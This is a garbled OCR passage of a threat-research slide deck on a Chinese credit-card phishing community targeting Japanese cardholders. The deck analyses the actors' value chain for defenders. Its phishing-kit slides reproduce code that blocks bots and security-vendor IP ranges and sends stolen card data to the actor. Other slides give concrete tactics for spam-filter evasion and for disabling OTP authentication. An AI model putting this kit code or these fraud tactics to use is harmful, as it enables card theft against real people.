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In Japan, credit card fraud in 2021 reached 33 billion yen,
the highest amount ever. Card number theft accounts for
94% of the total

Hundred million yen
y Credit Card Fraud
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Scope: The Chinese card shop ecosystem targeting

Japan ( MR
Q=
Japan is one of the main targets of credit card fraud B e T T TR AN
m Japan is a fairly “good” market for the card @ -
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Entrance: One of the biggest credit card fraud
community targeting Japan

|
B I 96,092 subscribers I

| Previous Message =z ® The community is a structured
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organization providing training and

‘ 2 ) resources for beginners to start credit card

S fraud

# m Subscribers > 96,000 users

m Over 500+ active paid students in first
half year 2022
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More stories about the community leader..

Address

Format

Transactions

Total Received

Total Sent

Final Balance

3CsKjUSKy2PoYuSYCVhiS2kDuxV69KPCGt @

BASES58 (P2SH)

908

56.28789750 BTC I Received 56 BTC

55.81505215 BTC

0.47284535 BTC

The community leader is
located in GMT+8 time zone
Cannot speak Japanese at all,
using Google Translate a lot.
Had a revenue of 56 BTC in 3
years till June 2022

Got account takeover in June
by clicking some malware
porn file



Initial Setup: An unattributable research environment

- =

Persona Device Internet
® A new phone number to ® A newly reformatted m VPN
create a new telegram laptop
account ®  Proxy

®m Rental VPS / RDP server
B A new telegram account



Training Program as an entrance

Tuition 3000 RMB paid in BTC —
Training Courses B Environment setup
B Phishing mail lure sending é % R BRI Sat
B Phishing techniques e
B Credit card limit evaluation P - ot
B Cash out demo R
@Y LHERELFER! 3 R —..
, 5 R U SRR Sat
Resources Provided B Basic knowledge and W -
guidelines 4
. =l sat
B Environment setup sources é 10 Files
B E-mail database
B Phishing kits ) R B BB CVV S, Sal
O Ant] bOt pOOl g! https://t.me/ ahu
B Cash out websites and buyers
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Actor’s Value Chain

O Initial Setup

VPS / RDP setup
Residential Proxy
Check IP not in
blacklist

Change MAC or
hardware ID

Clean cookies / DNS
/ cache

o Phishing Setup

e-mail database

Phishing kit setup
Phishing e-mail lure setup
Email address domain
preparation / SMTP setup

9 Card Using Setup

Select monetization method
Credit limit evaluation

OTP authentication
disablement

@ start Phishing

B Harvesting
B Card testing

Q Use Card

6 Monetization




Initial Setup ‘

Initial Setup to avoid triggering security rules

IP Setup B Set IP near the targeted country / prefecture

Check IP not in B Major payment & e-commerce services blocked public proxy already
blacklist — Check if your IP is not in the blacklist

Time Zone /
Language
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Change MAC or
hardware ID

Clean Cookies / B Keep the browser environment as clean as possible
DNS / cache B Virtual browser can be an alternative option




Initial Setup ‘

Residential proxy covers actor identity and fakes card
holder location
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Residential Residential Targeted
User Proxy Provider IP Address Pool Destination

Major residential proxy used by fraudsters:
911 (China), oxylabs (Lithuania), BrightData (Israel)



911 used by Chinese fraudsters -

Country: |p

ProxyIP

126 %%% so% son

110 %%% *os won
43 444 $en van

e

106 #4% *os son
SQ ee% sew see

118 #%% soe wos

e

e

e
133, %%% sos sun
GO S*% San wan

106.**

GO **% sue sun

e

182 %%% *os wen

133.%%% sue sen

Username: huruixue

still have: 319 proxy
Useragent: Default

Screen Resolution:

Program ProxyList

Default

Local Proxy: 172.19.16.8:Random Clear browser info Fill Form On Top
Proxy Info: Using Server: Linel
Change Server
Application Path:
TodayList FavoriteProxy UserAgent Referer PersonalData KeywordSpotting AutoProxy BlockSites Settings
S e Startlp: 0.0.0.0 ISP: All
ate: i =
Endlp: [p.0.0.0 2ip: [anl — Stop proxy
Ping Country State City Zip ISP
117 » Unknow Tokyo 102-0082 Softbank BB
63 » Unknow Yokohama 231-0841 NTT
60 » Unknow Fukuoka 812-0041 Softbank BB
69 » Unknow Kusatsu shi 525-0061 au one net
59 » Unknow Toyama 930-0855 Hokuden Information System Service...
60 » Unknow Midoricho 332-0021 Biglobe
S8 » Unknow Shinjuku 101-8656 Softbank BB
64 » Unknow Osaka 543-0062 Biglobe
86 » Unknow Unknow au one net
60 » Unknow Bunkyo ku % 112-8001 au one net
72 » Unknow Suginami ku 166-8545 So-net
64 » Unknow Karasawa 221-0045 NTT
S6 » Unknow Ichikawa 272-0031 VECTANT
s7 » Unknow Suita 564-0061 NTT
87 » Unknow Nasushiobara 325-0053 Asahi Net
54 » Unknow Shinchiba 260-0031 Biglobe
66 » Unknow Fukuoka 812-0011 Softbank BB
180 » Unknow Kasama 309-1611 JPNE
62 » Unknow Meguro ku 152-8508 Softbank BB
56 » Unknow Tokyo 102-0082 So-net
63 » Unknow Gifu City 500-8821 Fujitsu
S8 » Unknow Mito 310-0911 Biglobe
PortForwardlst whitelist Copy IP | | First Previous Next Last Refresh

Residential proxy IP available

at city granularity

Initial Setup




Initial Setup

911 used by Chinese fraudsters - 2/2

Usemame: dows Local Proccy:  192.168.235.1:2091 Clear browser nfo Pl Foem On Yop
Stil have: 3023 proxy Proxy Infor 104,194, (US 1L Chicage) Using Server: Lisel
Usersgent: Mopdla/3.0 (Windowa NT 6.3; WOWSE4, Trdat/ 7.0 #v131.0) ke Gacke
Change Server
Screen Reschton: 1920x1080 Apphcation Path: C:\Program Fles (x86)\Internet Exploreriexplore.exe
Program | ProxyUst | TodayUst UserAgest Referer | Personinfo | ConversonTrack | AwcProwy | BlockSaes | Sestngs
Mode:  Brovser defeuit O Random  VIP  Custom @ AL Useragent b Rafrash
Al Userode

e Useragent Interret Expiorer B

1 Mozdla/'S.0 (Windows NT 10.0; WOWE4; Trdent/7.0; rviil.0) hke Gecke e

2 Mozila/S.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWSS; Trident/S.0; S Chrama NEY4.0C; .NET4.0F)

3 Mozila/s.0 (Windows NT 6.1; WOWES; Trident/7.0; rv:11.0) bke Gecko L

4 Mozdla/4.0 (compabble; MSIE 7.0; Windows NT 5.1; WOWS4; Tndent/4.0; SLCC2; NET CLR 2.0.50727; MET4,0C; NET4,0F; LEBBROW...

s Mazila/S.0 (Windows NT 6.1; WOWES,; Tridert/7.0; rv:11.0) bke Gecko

6 Mozila/'S.0 (compatible; MSIE 10.0; Windows NT 6.1; WOWE4; Trident/'6.0)

’ Mozdla/S.0 (compabble; MSIE 9.0; Windows NT 6.1; WOWSES; Trident/5.0; SLOC2; NET CLR 2.0.50727; MNET4.0C; NET4.0F)

L Mozila/s.0 (Windows NT 6.1; WOWES; Trdent/7.0; rnv:11.0) ke Gecko

9 Mozdla/5.0 (Windows NT 6.1 WOWES; Tndent/7.0; rvi11.0) be Gecko

10 Mozdla/s.0 ( ble; MSIE 9.0; Wi NT 6.1; WOWES; Trident/S.0; .NETL.0E; NET4.0C; 3805E)

) Mo2dla/'5.0 (Windows NT 6.1; Tndent/7.0; rvill.0) Wke Gecko

2 Mozdla/S.0 (compatble; MSIE 9.0; Windows NT 6.1; WOWSS; Trident/5.0; NET4.0E; NET4.0C)

13 Mozila/s.0 (Windows NT 6.1; WOWES; Trident/7.0; rv:11.0) bke Gecko

14 Mo2dla/S.0 (Windows NT 6.1 Tndent/7.0; rvii1.0) We Gecko

15 Mazila/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWES; Trdent/5.0; SLCC2; NET CLR 2.0.50727; NET4.0C; NET4.0F)

s Mozdla/S.0 (Windows NT 10.0; Tndent/7.0; rvi11.0) ke Gecko

17 Mazila/S.0 (Windows NT 6.1; Tndent/7.0; rv:11.0) like Gecko

L Mozdla/5.0 (Windows NT 6.1; WOWES; Trident/7.0; MASBIS; rv:11.0) bke Gecko

19 Mo2dla/S.0 (Windows NT 6.1 Tndent/7.0; rvii1.0) We Gecko

2 Mazila/S.0 (Windows NT 6.1; Trdent/7.0; rv:11.0) like Gecko

kL) Mozila/'5.0 (compabible; MSIE 10.0; Windows NT 6.1; Tndent/6.0) #

Userapent fiker

internet Dxplcrer: 35 Tdpe: a Firefon: i5 Chrome: 42

- -t Set UserAgent %
Select UserAgent to use: /e /e 7 me 7 ne 7 e s

User-Agents Available



911 taken down in July
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Actor’s Value Chain

© Initial Setup @ Phishing Setup @ start Phishing

m VPS / RDP setup B e-mail database B Harvesting

W Residential Proxy W Phishing kit setup m  Card testing

B Check IP not in B Phishing e-mail lure setup
blacklist B Email address domain

B Change MAC or preparation / SMTP setup
hardware ID

B Clean cookies / DNS © Card Using Setup O use Card © Monetization
/ cache

B Select monetization method

B Credit limit evaluation

B OTP authentication
disablement

20



Ways to set up a Phishing Kit

1.

Using Compromised server:
- Higher website reputation

- Higher risk of been taken down

Using Rental Server (VPS):
- Setup Apache/Nginx Server and upload PhishKit

- Bullet-Proof Hosting providers (Russia, etc)

- Microsoft Azure never take down phishing sites hosted
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Phishing Setup‘



hishing Kit Template Examples
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Phishing Kit Component - 1/6

Block all non-human visitors

Phishing Setup

amazon.co.jp

23

ser—-agent:

User-agent:

User-agent:

User-agent:

Disallow:/

User-agent:

User-agent:

Disallow: /

Disallow: /

Disallow: /

Disallow: /

Disallow: /

Baiduspider

Googlebot

Googlebot-Mobile

Googlebot-Image

Mediapartners-Google

Adsbot-Google

(O T®
# NETCRAFT IP RANGES

194.52.68.0-194.52.68.255
194.72.238.0-194.72.238.255
| 83.138.182.72-83.138.182.79
83.138.189.96-83.138.189.103
81.91.240.0-81.91.255.255
89.36.24.0-89.36.31.255
83.222.232.216-83.222.232.218
' 184.172.0.0-184.173.255.255

# KASPERSKY IP RANGES

195.170.248.0-195.170.248.255
212.5.107.128-212.5.107.255
212.5.80.0-212.5.80.63
212.5.110.0-212.5.110.255
80.239.144.72-80.239.144.79
80.23.53.208-80.23.53.215
81.176.69.64-81.176.69.127
80.239.156.192-80.239.156.207

| blackiist.dat

Block all bots

Block specific IP ranges




Phishing Kit Component - 2/6

amazon.co.jp

Block all non-human visitors

Phishing Setup

24

namespace Jaybizzle\ReferralSpamDetect;

use Jaybizzle\ReferralSpamDetect\Fixtures\Headers;
use Jaybizzle\ReferralSpamDetect\Fixtures\SpamReferrers;

class ReferralSpamDetect

{
[ r*

* The referring URL.

*
* @var null
*/

protected S$referrer = null;

J**

* Headers that contain a referring URL.
*

* @var array
*/
protected $httpHeaders = array();

/**

* Crawlers object.

*

* @var \Jaybizzle\ReferralSpamDetect\Fixtures\SpamReferrers
*.

protected $SpamReferrers;

<?php
if ($setting['block host'] == "on") {

Shostname = gethostbyaddr ($_SERVER['REMOTE_ADDR']) ;

$blocked words = array(
"vocus",
"spectrum”,
"factioninc",
"mit.edu",
"1bot" o
"bannana_bot",
"zbot" e
"golem" ’
"webwombat",
Ty 1
"theophrastus",
"metascan",
"qualys" 5
"falcon",
"sohu" .
"teledata-fttx.de",
"html index",
"nhse" g
"trendnet",

Resolve the IP address to domain name
and block famous security organizations




Phishing Setup

Phishing Kit Component - 3/6

function countryRole()

{

$_SESSION['ip'] getUserIP();
function getUserIP () $ SESSION[' ip '] = getUserIP();
{ SaccessCountryList array ("Jp", “CN");//REBARSHEAE
. Sgetdetails 'https://extr -ip-lookup. /json/' . $ _SESSION['_ip '];
$client = @$ SERVER['HTTP CLIENT IP']; Souil = ouel dnit Gy o oremeTipTioskup.com/son - -
- 3 ' = W "] . curl setop:{gcur'., RLOPT_URL, $getdetails);
$forward @$S_SERVER['HTTP_X FORWARDED FOR']; -

curl:setop: (Scurl, RLOPT_SSL_VERIFYPEER, false);
curl_setopt ($curl, RLOPT_F RNTRANSFER, true);
curl_ setopt($curl, CURLOPT_FOLLOWLOCATION, true);

$remote = $ SERVER['REMOTE ADDR'];

. . X $content curl_exec($curl);
if (fllter_var ($Sclient, FILTER VALIDATE IP)) { curl_close ($curl);
. = : . $details json_decode ($content) ;
Sl}.) s?llent’ $ SESSION(['country'] $country $details->country;
} elseif (filter var(S$forward, FILTER VALIDATE IP)) { ['region'] = S$details->region;
. = ke - - ['countryCode'] $countryCode = $details->countryCode;
) lslp{ $forward; ['isp'] Sisp = $details->isp;
elLse
$lp - $remote' if (!in_array($_SESSION(['countryCode'], $accessCountryList)) ({
’ /s

ion_destroy();
SSION['ip'l;

}

ION['countryCode'];
sorry,please go out";
P/1.0 404 Not Found'):;

return $ip; Echz _(Txi
eader F T
} die;

If the victim is using Proxy,

try to get his real IP If user IP is not in China

or Japan, return an error
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Phishing Kit Component - 4/6

Phishing Setup

amazon.co.jp

Validate inputted information

t type="text/javascript">
$('.padingtable_yinlian').submit (function (event) ({
event.preventDefault () ;
var liehuo_key $('#passwordéeee') .val();

// console.log(liehuo_key.length);return false;
if (liehuo_key.length < 4)

alert (N7 — KMo TLET") ;

return false;

by

{

function check bin($bin)

$bin = preg_replace('/\s/', '', $bin);
3 = cphot - {Chip 0 Q) .

Surl = "https://lookup.binlist.net/" . $bin;

Sheaders = array();
Sheaders[] = 'Accept-Version: 3';
$ch = curl init();

curl setopt($ch, CURLOPT URL, Surl);

curl setopt($ch, CURLOPT RETURNTRANSFER, true);
curl setopt($ch, CURLOPT_ SSL_VERIFYPEER, false);
curl setopt($ch, CURLOPT HTTPHEADER, Sheaders);
Sresp = curl_exec($ch);

curl close($ch);

Sl o = diiﬁﬂﬂ‘ﬁiﬁii ST

return S$result;

If the inputted password length is
smaller than 4, return an error

Check if card BIN is valid
with open-source API



Phishing Kit Component - 5/6

amazon.co.jp

Phishing Setup

Return phished information

27

| Time: " . date("Y-m-d H:i:s") . "

| Email : " . $_SESSION['studID'] . "

| Password : " . $_SESSION['studWort'] . "
----- [ CREDIT CARD ]======

CARDHOLDER :" . 5 SESSION['ccoll'] "
CARD NUMBER : " SESSICN['ccol2'] "
EXP " $_SESSION[ expl'] . "

CVV : " . $ SESSION['ccol5'] . "

3DsS " . $_SESSION['password vbv'] . "
————— [ B LLING INFQ |=====

Full Name : " . $ SESSION['fnln'] »
DOB : " S_SESSION['dOb'A "

PHONE : " . § SESSION['num'] . "
COUNTRY : " $_3ES"IQN 'country'] "
CITY : " . 5_SESS N['prov'] "

ZIpP : " $_SESCION[ zip0'] . "

ADD1 : " . $ SESSION(['addrl'] "

ADD2 : " S_SESSIC\[ addr2' "

CORP : " . $_SESSION['corp'] .

————— [ DEVICE INFQ ] ========

ua : " S SER”ER['HTTP_USER_&GENT': "
LANG : " $_qERVER['HTT?_AC:EPT_LANGUAGE']
p : " $ SER?Y "ER['REMOTE_I\D:'R'] .
FROM " 5 "ER'\"ER['SERVER_RDDR': "

JHTFRBEG * %4k ek ke Ak ok Kk Kk Kk KK Kk KK K R Kk R K

Sto "caoyu3331@pro:onmail.com";

Sheaders "MIME-Version: 1.0\r\n";

Sheaders . "Content-Type: text/html; charset=UTF-8";

$subject "[ Congratulations ] CARD: " . $ SESSION['ccol2'] . "]";
// mail($to, $subject, $lgsczz2, $headers);

file put_contents("../../result/" . $_SESSION['ccol2'] . ".txt",

tg_bot_send($lgsczz2);

//tg_bgt_send2($lqsc222);
header ('Location:http://amazon.co.jp/"');

} else {
header('location:/"');

}

$lgsczz2);

Returned format

Send the phished info to the actor’s

e-mail address; redirect the victim to

Amazon website
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Phishing Kit Component - 6/6

W38 (30)

Amazon PHO/ FOMREERE

Amazon Z N0/ RO ERE

Amazon PHO FOWBERE
Amazon POV FOMBERE

JustHost

Bl 3axasann VPS kvm XXYYY@CNxx 1xcpu /S

Amazon Z7h7 Y/ FOMEEFE

Amazon ZAD/ FONREERE

Harvesting

Amazon Z7Hh7 Y FOWMBERE
Amazon 7N/ FOMERE

Amazon 7 W7 FOREERE

Amazon ZAD /FOMBERE

Amazon P h7 v FOREENRE
Amazon 7 A0 FORMBERE

Amazon Z7Hh o FOMBERE
Amazon 7 2% R OMBENE

Fresh fished data (B21})

in mailbox

Phishing Setup




Phishing Setup‘

Tricks to avoid email spam filter mechanism

Mindset
Always try to improve the contents / environments to avoid e-mail spam filter mechanism

® Change IP continuously: keep your IP as clean as possible

® Do not register a domain name similar to famous websites:
big companies have automatic system detecting domains similar to
their brands

m Register multiple domain names at the same time: to disperse the
risk of being fully blocked at once

® Do not add SSL: adding SSL will attract Google
police web crawler and disclose your info

m URL redirect: use redirect tools to generate a
“seemingly more normal URL” to avoid spam filter
mechanism

Phishing kit

domain server

Phishing URL
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URL redirect tool - example

Phishing Setup

Appearance Settings Analytics Upgrade

@

Add New Link IE@ Explore

Title [ @)

http://example.domain.io/

S @D % @ B |al oclicks ]

Destination URL

v

My Linktree: https://linktr.ee/amazo.co.jp

New URL

@amazo.co.jp




Phishing Setup‘

URL redirect tools make a URL looks more “normal”:

= m starts with “HTTPS”, more trustworthy
©/ m less suspicious domain names: domain name is the domain of
the redirection tool

m ends with less suspicious strings: the name after the domain
name can be customized

Benefits of using URL redirect

\/ When blocked by e-mail spam filter

mechanism, a URL redirect tool helps
a fraudster restart the phishing cycle
fast



Actor’s Value Chain

© Initial Setup @ Phishing Setup @ start Phishing

m VPS / RDP setup B e-mail database B Harvesting

W Residential Proxy W Phishing kit setup m  Card testing

B Check IP not in B Phishing e-mail lure setup
blacklist B Email address domain

B Change MAC or preparation / SMTP setup
hardware ID

B Clean cookies / DNS © Card Using Setup O use Card © Monetization
/ cache

B Select monetization method

B Credit limit evaluation

B OTP authentication
disablement
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Start Phishing

Harvesting - Info acquired

[ (SRS

visa
YUUDAI

B Card number + CVV

(308} )} #
web ID : yuudai0411205@gmail.com
u Card holder name Password 3D : aiai0331

. [MABE
B Expiration Date

B Billing Address
B Date of Birth
B Device Footprint & Browser Info

B User IP
UserAgent : Mozilla/5.0 (iPhone; CPU iPhone OS 14 7 1 like Mac OS X) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/14,1.2 Mobile/15E148 Safari/604.1
Region : Edogawa
ime Date : 14:07:33 13/09/2021

B Phone number
£8 4897 196
® 3D ID & password FMAE ; q?;zozs
B Website / Card Membership / Mail ID & R e
Password Y 070 186




Card Using Setup‘

Monetization approaches

Cryptocurrency / gift - —
card websites that « ==
allows credit card G

product local
receivers

Deliver to domestic
receivers to convert into
money

ecommerce @
0 ®" ts’




Card Using Setup

Credit card limit estimation

m For fraudsters, a credit card stands for a real person E d bl
with an unknown credit limit. xpected usable

m A fraudster’s goal is to steal as much as possible. amount ~30% of
the total credit

limit

= 5

llll t;,,§

Evaluate from card Social Confirm in Card
info Engineering Website




Card Using Setup‘

Estimate credit card limit evaluation with card info

4 Factors to evaluate a card’s credit limit

Card Bin

To know the card level

Mobile
Phone Number

Compared to IP phone numbers started with 03, 04, 090,
050 , Phone numbers started with 070, 080 means that the
card has been used for awhile

Card
Expiration Date

A more recent expiration date means
the card is older. Older cards tend to
have a higher credit limit



Card Using Setup‘

Get into card website to confirm credit limit - examples

LOLTHABYMEITELEY  wE

SAIS@N CARD

oS P05 Zgns a
EPOS Net . roiwac  pwmes sz voxmse moem i
A —— : . SHAanEER2 REon-EHATRR Fifeinms R
e CHRAARERS
il
1891 Bliggdns nsa 202149298 MED AT REM :"ma‘-“ﬁ
T —
xEn
O WHER- CHATETRAII LU TORY TS
OEATLHYL Tom2 AW Fealsslf
RAQIERIONT MR W7 “FONTIRER
0 vaoevscnmERD == =
z 4 A Sesie (1T
) —BEET—EZ T e e L owlies
5,901
s
NetF+ry2 > J (QERA) >
ReAexRIS >

EPOS Card SAISON Card

account login new account
registration

38



Card Using Setup‘

Disable OTP authentication with social engineering

Phone call
Steps Call the card Pass Make change Use card
company authentication g online
Details Prepare questions Make an excuse to Use the card after
such as ages change billing address 4-5 days to avoid

and phone number investigation



Card Using Setup‘

Disable OTP authentication by removing mobile phone
numbers on card membership website

Example - A Japanese Credit Card

Phished New account Temp e-mail New account
info password address password

Input

Forgot Reset Change
IE-N .Gl account ID & account registered
password password e-mail address

Disable mobile
phone number

Membership Website

* Now 3D authentication

becomes the account

Output Account ID

password we set!



OTP authentication disablement - example

EPOS Net

CHEF-BEESOXE [ pEETTNEE

S RERSERELET.
LTORBECANOIA. TEEEHLAL (HBEFA) IR ILEMLTEZL.
ANMEHNRNLORBTANLTIEEN,

MEORIERS

MHOBVIES S 125 I

M

HEORERS

03 5555

AEOUEFHFTEEL

Card Using Setup‘

Select “no mobile phone”

VISA

PR £
=8
oft

HhFES

EPOS

KKDAY
viIm
2021/00/29

Frrw wwen vhew |60

LA l..lf'-‘\."s

" 2RI,
AW B S Io-ooooo-c I

L!'-tl ”_vl:

Authentication method
changed to account
password



Actor’s Value Chain

@ Initial Setup @ Phishing Setup @ Start Phishing

m VPS / RDP setup B e-mail database B Harvesting

B Residential Proxy W Phishing kit setup ®  Card testing

B Check IP not in B Phishing e-mail lure setup
blacklist B Email address domain

B Change MAC or preparation / SMTP setup
hardware ID

B Clean cookies / DNS © Card Using Setup O use Card © Monetization
/ cache

B Select monetization method

B Credit limit evaluation

B OTP authentication
disablement

42



Use Card ‘

Cards are used to buy goods that can be easily resold

Popular Goods:
Electric Appliance
Brand Bag

Ticket & Gift Card
Brand Cosmetics
Liquor

Watch

Nike Shoes



Use Card ‘

Cards are used to buy goods that can be easily resold

Popular Goods: Disney - 8,400 yen Taobao - 6,708 yen

E leCt I’i C Ap p li ance & tokyodisneyresort.jp U @ market.m.taobao.com 1]
s

Lnawese  TOKYO Dfonzp RESORT

Brand Bag T

-
¥339 @Y

Ticket & Gift Card a 8(a|s = |
Brand Cosmetics
Li q u O r 82)0 82}0 84%0 93)0 MESUES

dlirg 18 19 20 21 22 23

IN o o o o o o BRAR
a C 9400 | 9400 | 8400 8400 8400 8400 9400

24 25 26 27 28 29 30

JLER BWAR FRFRAK1N

3 o o o) o o le] o REZQRK1/
N ] ke S h Oes 9400 | 8400 | 8400 | 8900 | 8900 | 8900 | 9400
31 1 2 3 4 5 6 N
o o o o o o o fEFEE (LitedE) 2022-07-13

9400 | 8900 | 8900 & 8900 | 8900 | 8900 & 8900
7R 8A 9A

¥ 20224 7H13H 850KRDKR T,

You can actually get a cheaper Tokyo
Disneyland ticket on Taobao!



Use Card

Receiver Addresses - example

M2 bk K82 (RiEMEF)
Big : 07
Blf

HEBEE © FR
TREHEF =
Ry 54D
sannhonn tairou

HOAIEIFUE - SemiR s
TS {EEAT(0) - AT

Ty :
moF




Receiver Addresses - example (Taiwan)

=l
AR HEE
BRHEEE
afmrEhE

ABFMHEHEE
0ot | 5

=89t
55

E#L
55

EFH
38
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Use Card ‘
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Monetization‘

Monetization dealers demonstrate their accountability

cvv 1ol iy |-

vv 8 T R

i s — TR, S

7S
ww.Jﬁﬁqmm.f§§§ e

&

by showing the goods received

0
1000
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Summary - Actor’s Monetization Funnel

Success Ratio

Successful e-mail delivery
Victim - mail awareness
Victim - mail click

Victim - card info input

Correct card info input 0.01% ~ 0.1%

Successful cash-out 80 % +




Conclusion
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Actor’s Value Chain - Recap

© Initial Setup

B VPS / RDP setup
B Residential Proxy
B Check IP not in

blacklist

B Change MAC or
hardware ID

B Clean cookies / DNS
/ cache

o Phishing Setup

e-mail database

Phishing kit setup
Phishing e-mail lure setup
Email address domain
preparation / SMTP setup

9 Card Using Setup

Select monetization method
Credit limit evaluation

OTP authentication
disablement

@ Sstart Phishing

B Harvesting
B Card testing

Q Use Card

6 Monetization
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Roles broke down to avoid legal sanctions

© Initial Setup

B VPS / RDP setup

B Residential Proxy

B Check IP not in
blacklist

B Change MAC or
hardware ID

B Clean cookies / DNS
/ cache

@ Start Phishing

0 Phishing Setup

e-mail database B Harvesting
Phishing kit setup B Card testing
Phishing e-mail lure setup

Email address domain

preparation / SMTP setup

Phisher

9 Card Using Setup Q Use Card Q Monetization

Select monetization method

Credit limit evaluation
OTP authentication
disablement

Monetization
Card User Dealer



Summary - Key success factors for each role

Phisher

B Good e-mail databases
for sending phishing
mails

B Good phishing kits and
anti-bot mechanisms to
avoid triggering security
rules

B Adequate e-mail
contents to increase the
ratio of successful
delivery

52

Card User

M Honest card info supplier

B Patience and solid
environment setup to
fake user behavior

Monetization Dealer

B Recruit sufficient
package receivers

B Abundant cashflow

M Cross-border money
laundering techniques
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Relevant stakeholders shall collaborate to defend effectively

© Initial Setup

VPS / RDP setup
Residential Proxy
Check IP not in
blacklist

Change MAC or
hardware ID

Clean cookies / DNS
/ cache

0 Phishing Setup

e-mail database

Phishing kit setup
Phishing e-mail lure setup
Email address domain
preparation / SMTP setup

Q Card Using Setup

Select monetization method|

Credit limit evaluation
OTP authentication
disablement

@ Sstart Phishing

B Harvesting
B Card testing

Q Use Card

6 Monetization




All stakeholders shall collaborate together to defend
effectively and speedily.

R Merchant- - - Payment Gateway
< 1
1 ” '
g B e
1 L '
! T : (= Square
! E-Commerce
User '
= l
. (5 T 6 ]
9. =l — °
. .
' _MerchantPOS ______________. N R
- QI ()
'=:| } Y
o E Acquirer POS ey
111 - II1
o
Issuer Bank Payment Network \ Acquirer Bank l

_____________________

Yource: Security Certification in Payment Card Industry: Testbeds, Measurements, and Recommendations



Thank you

Contact | donut.strawberry@outlook.com




